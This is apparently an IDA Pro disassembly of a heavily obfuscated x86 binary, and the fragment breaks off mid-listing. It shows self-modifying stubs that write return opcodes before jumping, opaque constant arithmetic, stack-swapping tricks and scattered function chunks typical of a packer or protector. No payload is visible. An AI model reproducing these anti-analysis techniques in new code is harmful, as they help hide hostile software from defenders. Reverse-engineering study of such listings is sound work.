; =============== S U B	R O U T	I N E =======================================



sub_43F200	proc near		; CODE XREF: kgbikm34:0044A647j
					; sub_440841+A50Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004393D0 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004440C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B4E2 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_43FD86
		jmp	loc_4440C8
sub_43F200	endp

; ---------------------------------------------------------------------------

loc_43F217:				; CODE XREF: kgbikm34:00444DB7j
		mov	edi, 530B9F44h

loc_43F21C:				; CODE XREF: kgbikm34:loc_44750Aj
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_440834

loc_43F21F:				; CODE XREF: sub_440834:loc_441C54j
		push	eax
		call	sub_43E4C0
		or	eax, eax
		jnz	loc_43FE3A
		jmp	loc_441C49
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------

loc_43F232:				; CODE XREF: kgbikm34:00440136j
		shl	edx, 1

; =============== S U B	R O U T	I N E =======================================



sub_43F234	proc near		; CODE XREF: sub_43F461+60B2p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [eax],	0C3h
sub_43F234	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43F23B:				; CODE XREF: sub_43B0B7:loc_43EE84j
		jmp	loc_448502
; END OF FUNCTION CHUNK	FOR sub_43B0B7

; =============== S U B	R O U T	I N E =======================================



sub_43F240	proc near		; CODE XREF: sub_402F48+BBp
					; sub_43F240+5j
					; DATA XREF: ...
		call	sub_43CAB5
		jmp	ds:off_41E210
sub_43F240	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A108

loc_43F24B:				; CODE XREF: sub_43A108+7j
		jmp	loc_44B04D
; END OF FUNCTION CHUNK	FOR sub_43A108
; ---------------------------------------------------------------------------

loc_43F250:				; CODE XREF: kgbikm34:004384A4j
		adc	eax, ebx

; =============== S U B	R O U T	I N E =======================================



sub_43F252	proc near		; CODE XREF: kgbikm34:00438E6Bp
		xchg	ecx, [esp+0]
		pop	ecx
		push	0D181032Ah
sub_43F252	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43F25B:				; CODE XREF: sub_439BDE:loc_44571Fj
		pop	edx
		add	edx, 5BCF7673h
		or	edx, 87FFF34Ah
		xor	edx, 3899C61Ah
		jmp	loc_44C5EB
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		push	esi
		push	9D8CC350h
		pop	esi
		or	esi, 0F5EA6B40h
		jmp	loc_4417D1
; ---------------------------------------------------------------------------

loc_43F285:				; CODE XREF: kgbikm34:0043D59Cj
		push	ecx
		push	1D76537Dh
		pop	ecx
		xor	ecx, 653E96A4h
		sub	ecx, 5CDEA6DFh
		add	ecx, 0E4D9A6BEh
		jmp	loc_43E791
; ---------------------------------------------------------------------------

loc_43F2A3:				; CODE XREF: kgbikm34:loc_442E47j
		call	sub_43BF6F
		mov	ds:dword_41E088, eax
		lea	eax, nullsub_282
		mov	byte ptr [eax],	0C3h
		jmp	loc_4374A2
; ---------------------------------------------------------------------------

loc_43F2BC:				; CODE XREF: kgbikm34:0044AF3Ej
		mov	eax, [esp]
		jmp	loc_439CD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC25

loc_43F2C4:				; CODE XREF: sub_43FC25+1FBEj
		jz	loc_44DA7C
		jmp	loc_443364
; END OF FUNCTION CHUNK	FOR sub_43FC25
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43F2D0:				; CODE XREF: sub_442340+9C6Bj
		mov	[eax], ebx
		push	986DBD73h
		pop	eax
		and	eax, 304E209h
		test	eax, 800000h
		jmp	loc_44DD7A
; END OF FUNCTION CHUNK	FOR sub_442340
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F2EA:				; CODE XREF: kgbikm34:loc_43EF6Ej
					; kgbikm34:0044CE66j
		jmp	sub_444BCC
; ---------------------------------------------------------------------------

loc_43F2EF:				; CODE XREF: kgbikm34:00447904j
		jmp	loc_449968
; ---------------------------------------------------------------------------

loc_43F2F4:				; CODE XREF: kgbikm34:00443AC6j
					; kgbikm34:loc_44541Cj
		mov	eax, 33F214AFh
		call	sub_43BF6F
		add	eax, 0B9F6A796h
		rol	eax, 5
		xor	eax, 6932519h
		rol	eax, 3
		xor	eax, 2805F698h
; START	OF FUNCTION CHUNK FOR sub_442401

loc_43F316:				; CODE XREF: sub_442401+1BAAj
		rol	eax, 2
		jmp	loc_43CDFE
; END OF FUNCTION CHUNK	FOR sub_442401
; ---------------------------------------------------------------------------

loc_43F31E:				; DATA XREF: sub_441784+Ao
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_43F325:				; CODE XREF: kgbikm34:0043734Fj
					; kgbikm34:0043F9CCj
		mov	eax, [ebp-0Ch]
		jmp	loc_44901C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43F32D:				; CODE XREF: sub_43D494:loc_44049Fj
		mov	edx, esi
		pop	esi
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_44B5E4
		push	742706E6h
		jmp	loc_44866E
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43F343:				; CODE XREF: sub_44B20C:loc_44695Aj
		jnz	loc_43EB8C
		jmp	loc_4406E1
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_43F34E:				; CODE XREF: sub_43C55C+F50Dj
		mov	eax, ebp
		or	ecx, ebp

loc_43F352:				; CODE XREF: sub_43C55C:loc_439B2Fj
		mov	[ebp-18h], eax
		mov	dword ptr [ebp-0Ch], 1

loc_43F35C:				; CODE XREF: sub_44D21F-74B5j
					; sub_44D21F-293Dj
		call	sub_43C76D

loc_43F361:				; CODE XREF: kgbikm34:004406BEj
		jl	sub_43F64B
		push	0C32FFFAAh
		push	edi
; END OF FUNCTION CHUNK	FOR sub_43C55C
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43F36D:				; CODE XREF: sub_4474D5:loc_4383F2j
		add	eax, 651EFEE0h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_445433
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442401

loc_43F37C:				; CODE XREF: sub_442401+17j
		push	405C46B6h
		pop	edx
		and	edx, 2EAA9425h
		test	edx, 8
		jmp	loc_446D17
; END OF FUNCTION CHUNK	FOR sub_442401
; ---------------------------------------------------------------------------

loc_43F393:				; CODE XREF: kgbikm34:00449C57j
		xor	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43F395:				; CODE XREF: kgbikm34:0043C6B2j
					; sub_4474D5+1CA3j
		add	ecx, 6F2B482Bh
		push	offset loc_44134A
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_43F3A5:				; CODE XREF: sub_43DC42+B181j
		push	edx
		push	8ADD768Bh
		pop	edx
		and	edx, 57645220h
		jnz	loc_4485DE
		add	ebp, edi
		jmp	loc_446A84
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------

loc_43F3BF:				; CODE XREF: kgbikm34:0044BE51j
		jle	loc_440323

; =============== S U B	R O U T	I N E =======================================



sub_43F3C5	proc near		; CODE XREF: kgbikm34:0044D6B6p

; FUNCTION CHUNK AT 0043B540 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004476F3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B00F SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		push	7D146E3h
		jmp	loc_43B540
sub_43F3C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F3D4:				; DATA XREF: sub_43E085-FCCo
		call	sub_43E4C0
		call	sub_43A22B
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43F3DE:				; CODE XREF: sub_439609+EAECj
		jmp	sub_43B958
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		mov	eax, 3C248B30h
		push	offset sub_437B23
		jmp	locret_439B06
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_360. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_43F3F3:				; CODE XREF: sub_439852+B53j
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_439852

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F3F8	proc near		; CODE XREF: sub_437613+3p
					; sub_438B6B-1275p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E875 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx

loc_43F3FE:				; CODE XREF: sub_440443+248Bj
		xchg	edi, [esp+4+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_43E875
sub_43F3F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_43F40C:				; CODE XREF: sub_443622-AD7Fj
		xor	ebx, 602EDC9Fh
		sub	ebx, 0B35A14AAh
		or	ebx, 1A398FBh
		xor	ebx, 7BB3D9FFh
		xchg	ebx, [esp+24h+var_24]
		lea	eax, [ebp-100h]
		push	ebx
		mov	ebx, ecx
		jmp	loc_43F1FB
; END OF FUNCTION CHUNK	FOR sub_443622
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_43F436:				; CODE XREF: sub_4395BB+CE30j
		jmp	loc_440197
; END OF FUNCTION CHUNK	FOR sub_4395BB
; ---------------------------------------------------------------------------

loc_43F43B:				; CODE XREF: kgbikm34:00441F66j
		jmp	loc_445FB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E8DA

loc_43F440:				; CODE XREF: sub_43E8DA:loc_43B275j
					; sub_43E8DA-1B82j
		push	offset loc_4483A8
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_43E8DA
; ---------------------------------------------------------------------------
		xor	esi, edx
		jmp	sub_440E52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440EFA

loc_43F451:				; CODE XREF: sub_440EFA:loc_43999Bj
		add	eax, 65963ABBh
		push	offset loc_43702A

loc_43F45C:				; CODE XREF: kgbikm34:loc_4468D3j
		jmp	nullsub_127
; END OF FUNCTION CHUNK	FOR sub_440EFA

; =============== S U B	R O U T	I N E =======================================



sub_43F461	proc near		; DATA XREF: sub_43B0B7+13053o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00445502 SIZE 00000016 BYTES

		mov	eax, [esp+0]
		push	esi
		push	edx
		pop	esi
		xchg	esi, [esp+4+var_4]
		call	sub_44627C
		mov	eax, 851AF986h
		jmp	loc_445502
sub_43F461	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F479:				; CODE XREF: kgbikm34:00439733j
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp]
		mov	esi, edx
		xchg	esi, [esp]
		push	ebx
		jmp	loc_43FC8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43F48A:				; CODE XREF: sub_448C95:loc_445FC6j
		jz	loc_43CA06
		jmp	loc_445943
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------

loc_43F495:				; CODE XREF: kgbikm34:00438944j
		jnb	loc_43FF73
		jb	loc_449436
		jmp	loc_43FF65

; =============== S U B	R O U T	I N E =======================================



sub_43F4A6	proc near		; CODE XREF: sub_446F79-81FEj
					; kgbikm34:0043F8D9p
		xchg	edx, [esp+0]
		pop	edx
		lea	eax, nullsub_14
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_14
sub_43F4A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43F4B8:				; CODE XREF: sub_439587+6DE2j
		or	ebp, eax

loc_43F4BA:				; CODE XREF: sub_439587:loc_449C6Cj
		push	eax
		lea	eax, loc_43C434
		push	ebx
		mov	ebx, eax
		jmp	loc_43B12B
; END OF FUNCTION CHUNK	FOR sub_439587

; =============== S U B	R O U T	I N E =======================================



sub_43F4C9	proc near		; CODE XREF: sub_43F4C9-22E3p
					; kgbikm34:0044BAFFj

; FUNCTION CHUNK AT 0043C9EB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043D1DE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043D695 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043E05B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EBE2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043F6DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441266 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441EE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444C22 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00446182 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00446214 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044A011 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B105 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B181 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BD3E SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, [ebp-104h]
		mov	dl, [edx]
		mov	[ebp+eax-100h],	dl
		inc	dword ptr [ebp-108h]
		inc	dword ptr [ebp-104h]
		jmp	loc_43E05B
sub_43F4C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F4ED	proc near		; CODE XREF: kgbikm34:loc_43FA5Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0044255A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447E51 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044949E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B787 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044D39C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DA10 SIZE 0000001B BYTES

		push	large dword ptr	fs:0
		jmp	loc_44949E
sub_43F4ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F4F9	proc near		; CODE XREF: kgbikm34:0043DA66j
					; sub_449F77:loc_449A33p

; FUNCTION CHUNK AT 0043FC0A SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	9AC8427Ch
		pop	eax
		sub	eax, 68E2F407h
		xor	eax, 0D18B955h
		call	sub_4400C7
		call	sub_442B5D

loc_43F519:				; CODE XREF: sub_43ACD5-C05j
		jmp	loc_43FC0A
sub_43F4F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F51E:				; CODE XREF: kgbikm34:00439DD5j
		jbe	loc_44D0DE

; =============== S U B	R O U T	I N E =======================================



sub_43F524	proc near		; CODE XREF: sub_4489C5:loc_44BA57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00437970 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439AE9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A5B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A5E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AFE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F602 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043FFC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004410F8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00441C95 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443341 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444903 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004457FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446ACA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004492CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B35 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_43BF6F
		jmp	loc_43FFC6
sub_43F524	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43CD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_43F538:				; CODE XREF: sub_4372E5+593Aj
		push	35668468h
		pop	ecx
		add	ecx, 9B9A0F1h
		rol	ecx, 1
		jmp	loc_4421E5
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438D6

loc_43F54B:				; CODE XREF: sub_4438D6+2A43j
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		add	eax, edx
		push	offset sub_44BAE9
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_4438D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B23

loc_43F566:				; CODE XREF: sub_437B23:loc_437B2Dj
		call	sub_43BF6F
		mov	ds:off_41E0B8, eax
		lea	eax, sub_4396AA
		mov	byte ptr [eax],	0C3h
		jmp	sub_4396AA
; END OF FUNCTION CHUNK	FOR sub_437B23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_43F57F:				; CODE XREF: sub_4396AA:loc_445B29j
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		jmp	loc_4468E0
; END OF FUNCTION CHUNK	FOR sub_4396AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_43F58A:				; CODE XREF: sub_43EB8F+A86Bj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43FA38
		jmp	loc_44C5E6
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_43F59E:				; CODE XREF: sub_44C607-FFD4j
		dec	eax
		call	sub_437B11

loc_43F5A4:				; CODE XREF: sub_4414DB:loc_445DF5j
		jmp	nullsub_206
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F139

loc_43F5A9:				; CODE XREF: sub_43F139+7j
		jmp	nullsub_292
; END OF FUNCTION CHUNK	FOR sub_43F139
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_43F5AE:				; CODE XREF: sub_4390CF+11j
		jmp	loc_4484AC
; END OF FUNCTION CHUNK	FOR sub_4390CF
; ---------------------------------------------------------------------------

loc_43F5B3:				; CODE XREF: kgbikm34:00438B1Bj
		jmp	loc_43C080
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_43B0CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43F5BE:				; CODE XREF: sub_4474D5-5F78j
		push	offset sub_4491DF
		jmp	nullsub_225
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_43F5C8:				; CODE XREF: sub_4372E5+DDD2j
		jz	loc_44BEFE
		jmp	loc_442CD7
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FE66

loc_43F5D3:				; CODE XREF: sub_43FE66+15j
		mov	ds:dword_41E124, eax
		lea	eax, nullsub_19
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D3A7
; END OF FUNCTION CHUNK	FOR sub_43FE66

; =============== S U B	R O U T	I N E =======================================



sub_43F5E7	proc near		; CODE XREF: sub_4165FC+191p
					; sub_43F5E7+5j
					; DATA XREF: ...
		call	sub_43F5F7
		jmp	ds:off_41E128
sub_43F5E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF38

loc_43F5F2:				; CODE XREF: sub_43AF38+5j
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_43AF38

; =============== S U B	R O U T	I N E =======================================



sub_43F5F7	proc near		; CODE XREF: sub_43F5E7p
					; kgbikm34:004412C8j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437A22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004384DD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043869C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438E92 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00438EC2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043988C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C262 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C843 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043CAE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E542 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004412CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004416B0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00443D52 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444573 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444B79 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044850E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449736 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A485 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044AD6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D13C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D5DB SIZE 00000005 BYTES

		jnz	loc_4412CD
		jmp	loc_43C262
sub_43F5F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_43F602:				; CODE XREF: sub_43F524:loc_4457FDj
		push	26C436C1h
		pop	eax
		sub	eax, 50932C67h
		or	eax, 54AD8E33h
		and	eax, 0A07C1144h
		jmp	loc_43A5E6
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_43F620:				; CODE XREF: sub_44D599:loc_44B6B1j
		ror	eax, 10h
		add	eax, 57948964h
		ror	eax, 16h
		push	ebx
		push	offset sub_43E8C4
		jmp	loc_4372D7
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
		mov	ds:off_41E0D4, eax
		lea	eax, loc_440261
		mov	byte ptr [eax],	0C3h
		jmp	loc_43A268

; =============== S U B	R O U T	I N E =======================================



sub_43F64B	proc near		; CODE XREF: sub_401871+4Bp
					; sub_43C55C:loc_43F361j ...
		call	sub_43F65B
		jmp	ds:off_41E0D8
sub_43F64B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D632

loc_43F656:				; CODE XREF: sub_43D632+566Ej
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_43D632

; =============== S U B	R O U T	I N E =======================================



sub_43F65B	proc near		; CODE XREF: sub_44E1E7:loc_43EC48j
					; sub_43F64Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004376C3 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 004404F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044140B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044280E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442F30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004447E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00446D07 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044D81F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044E200 SIZE 0000000A BYTES

		jno	loc_44E200
		xchg	eax, [esp-4+arg_0]
		mov	edx, eax
		jmp	loc_4447E8
sub_43F65B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437954

loc_43F66B:				; CODE XREF: sub_437954:loc_437966j
		pop	ebx
		jnz	loc_441F73
		mov	eax, [esp+0]
		push	offset loc_441850
		jmp	loc_4371E8
; END OF FUNCTION CHUNK	FOR sub_437954
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_44C093
; ---------------------------------------------------------------------------
		shl	edi, 1Bh
		jmp	loc_445BDE
; ---------------------------------------------------------------------------

loc_43F68D:				; CODE XREF: kgbikm34:0044E228j
		shr	ebp, 10h
		shl	edx, 1Bh
		add	esi, 6627BED1h
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43F699:				; CODE XREF: sub_43D494-5BFEj
		rol	eax, 9
		test	eax, 80h
		jmp	loc_43C5B0
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		mov	ds:dword_41E16C, eax
		lea	eax, nullsub_325
		mov	byte ptr [eax],	0C3h
		jmp	loc_445F9F

; =============== S U B	R O U T	I N E =======================================



sub_43F6BB	proc near		; CODE XREF: sub_40FDAA+1Bp
					; sub_40FDAA+45p ...
		call	sub_43F6D0
		jmp	ds:off_41E170
sub_43F6BB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43F6C6:				; CODE XREF: sub_43B1D6+11323j
		jmp	loc_43F839
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43F6CB:				; CODE XREF: sub_449D59-11E5j
		jmp	loc_43870D
; END OF FUNCTION CHUNK	FOR sub_449D59

; =============== S U B	R O U T	I N E =======================================



sub_43F6D0	proc near		; CODE XREF: sub_43F6BBp
					; sub_43F145:loc_448096j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440E2C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004419DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B85 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448BB0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044AE28 SIZE 0000000A BYTES

		jb	loc_440E2C
		pop	edx
		jmp	loc_4419DB
sub_43F6D0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_43F6DD:				; CODE XREF: sub_43F4C9+6CD5j
		jmp	loc_44B105
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_43F6E2:				; CODE XREF: sub_44C607-C59Cj
		jmp	loc_4433F8
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------
		js	loc_43856C
		jmp	sub_44D4B3
; ---------------------------------------------------------------------------

loc_43F6F2:				; CODE XREF: kgbikm34:0043D927j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_44D6E8
		mov	eax, [ebp-4]
		jmp	loc_442D26
; ---------------------------------------------------------------------------

loc_43F706:				; DATA XREF: kgbikm34:loc_437105o
		mov	byte ptr [eax],	0C3h
		jmp	loc_44126B
; ---------------------------------------------------------------------------
		call	nullsub_318
		jmp	ds:dword_41E068
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_318. PRESS KEYPAD	"+" TO EXPAND]
		dw 0BB88h
		dd 0E9000033h, 0C543h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_339. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43F725	proc near		; CODE XREF: kgbikm34:00445D92p
					; kgbikm34:0044BD6Bj

; FUNCTION CHUNK AT 00445A42 SIZE 00000010 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 871B6DC5h
		mov	eax, [eax]
		mov	byte ptr [eax],	6Ch
		jmp	loc_445A42
sub_43F725	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_43F739:				; CODE XREF: sub_43BF6F:loc_4434C2j
		jz	loc_44C1EA
		jmp	loc_447DEA
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

